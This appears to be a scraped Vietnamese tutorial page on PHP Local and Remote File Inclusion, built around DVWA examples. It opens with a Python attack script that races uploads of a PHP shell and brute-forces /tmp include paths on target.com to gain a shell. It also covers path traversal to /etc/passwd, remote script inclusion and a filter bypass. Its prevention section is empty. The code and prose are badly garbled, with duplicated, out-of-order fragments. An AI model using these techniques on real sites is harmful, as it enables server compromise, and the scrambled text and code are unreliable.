Hướng dẫn phpinfo hackerone - phpinfo hackerone
import itertools itertools Show
import requests requests import sys sys print('[+] Trying to win the race')('[+] Trying to win the race') f ={'file':open('shell.php','rb')}={'file': open('shell.php','rb')} for _ inrange(4096*4096): _ inrange(4096*4096): requests.post('http://target.com/index.php?c=index.php', f).post('http://target.com/index.php?c=index.php', f) print('[+] Trying to win the race')('[+] Bruteforcing the inclusion') f ={'file':open('shell.php','rb')} fname in itertools.combinations(string.ascii_letters + string.digits,6): for _ inrange(4096*4096):='http://target.com/index.php?c=/tmp/php'+ fname requests.post('http://target.com/index.php?c=index.php', f)= requests.get(url) print('[+] Bruteforcing the inclusion')'load average'in r.text:# for fname in itertools.combinations(string.ascii_letters + string.digits,6):('[+] We have got a shell: '+ url) url ='http://target.com/index.php?c=/tmp/php'+ fname.exit(0) print('[+] Trying to win the race')('[x] Something went wrong, please try again') f ={'file':open('shell.php','rb')}for _ inrange(4096*4096): requests.post('http://target.com/index.php?c=index.php', f)print('[+] Bruteforcing the inclusion') cho phép kẻ tấn công có thể xem các tệp trên máy chủ từ xa mà không cần nhìn thấy hoặc có thể thực thi các mã vào 1 mục tiêu bất kì trên trang web . for fname in itertools.combinations(string.ascii_letters + string.digits,6): url ='http://target.com/index.php?c=/tmp/php'+ fname r = requests.get(url) if'load average'in r.text:# print('[+] We have got a shell: '+ url)
II. Khái niệmLocal File Inclusion và Remote File Inclusion FIle Inclusion cho phép kẻ tấn công có thể xem các tệp trên máy chủ từ xa mà không cần nhìn thấy hoặc có thể thực thi các mã vào 1 mục tiêu bất kì trên trang web .Điều này xảy ra là do trong code php web , lập trình viên đã sử dụng các lệnh include, require, include_once, require _ once , các lệnh này cho phép việc file hiện tại có thể gọi ra 1 file khác.Dấu hiệu để nhận biết rằng trang web có thể tấn công file inclusion là đường link thường có dạng php?page=,hoặc php?file= .... Để biết trang web có bị lỗi này hay không ta chỉ cần thêm 1 dấu ' vào đường link , ví dụ như là
Nguyên nhân gây ra lỗi này là khi sử dụng các lệnh trên, lập trình viên lại gọi các file cần mở thông qua biến. Các biến này hoặc chưa được khởi tạo, hoặc do người dùng quyết định. File Inclusion có thể dẫn đến các cuộc tấn công sau :
Cross Site Scripting Attacks (XSS) Denial of service (DOS)payload có sẵn trên github để miêu tả cuộc tấn công và đó là /etc/passwd Data Manipulation Attacks/etc/passwd , chúng ta cần nhập đủ các thư mục trước đó để đưa chúng ta trở lại thư mục gốc . Trong trường hợp này chúng ta sử dụng Path Traversal để truy cập tệp /etc/passwd.
III. Các kiểu tấn công 1. Local File Inclusion Local file inclustion (LFI) là kĩ thuật đọc file trong hệ thống , lỗi này xảy ra thường sẽ khiến website bị lộ các thông tin nhảy cảm như là Trong bài viết này , mình sẽ đưa ra các ví dụ được làm trên Damn Vulnerable Web App hay còn được gọi là DVWA
Trong một cuộc tấn công LFI cơ bản , chúng ta sẽ sử dụng local file inclusion để thu thập thông tin trên máy chủ từ xa và khai thác nó để có thể chiếm được quyền root shell . Sau khi set độ khó là low trên DVWA , chúng ta sẽ có giao diện như thế này :
2. Remote File InclusionRemote File Inclusion còn được viết tắt là RFI cho phép kẻ tấn công nhúng một mã độc hại được tuỳ chỉnh trên trang web hoặc máy chủ bằng cách sử dụng các tập lệnh . RFI còn cho phép tải lên một tệp nằm trên máy chủ khác được chuyển đến dưới dạng hàm PHP ( Đây là một lỗ hổng rất phổ biến do việc sử dụng hàm include rất nhiều và cũng là thiết đặt mặc định của server như là set Để thực hiện cuộc tấn công này , chúng ta sẽ thử nhúng các url vào trang web có sẵn : Ở đây mình sẽ thử nhúng trang google vào và thu được kết quả : Vậy là trang web mà mình muốn tấn công cho phép tải lên trang web khác. Điều này dẫn đến việc mình có thể nhúng các lệnh php mà mình muốn lên trang web và thực thi các lệnh đó Để làm vậy mình tạo 1 file tên là script.html có nội dung như sau :script.html có nội dung như sau :
Sau đó mình nhúng link file này vào trong trang web mình muốn tấn công và thu được kết quả : Tuy nhiên, thường thì chúng ta sẽ không thể dễ dàng như vậy để khai thác lỗ hổng này trên 1 trang web. Ở ví dụ tiếp theo này , hàm str_replace() sẽ xoá tất cả các giá trị được gán như là Điều này khiến chúng ta không thể nhập link như thế này được nữa :
Vậy để bypass qua hàm str_replace() chúng ta làm thế nào ? Bời vì hàm này sẽ xoá giá trị
Chúng ta sẽ chèn thêm 1 giá trị http:// vào giữa giá trị Đây là những cách cơ bản để bạn có thể tiếp cận và khai thác môt trang web , bước tiếp theo tuỳ thuộc vào mục đích cá nhân của bạn và trang web bạn muốn khai thác lỗ hổng này. IV. Phòng tránh :
Tài liệu tham khảo :
|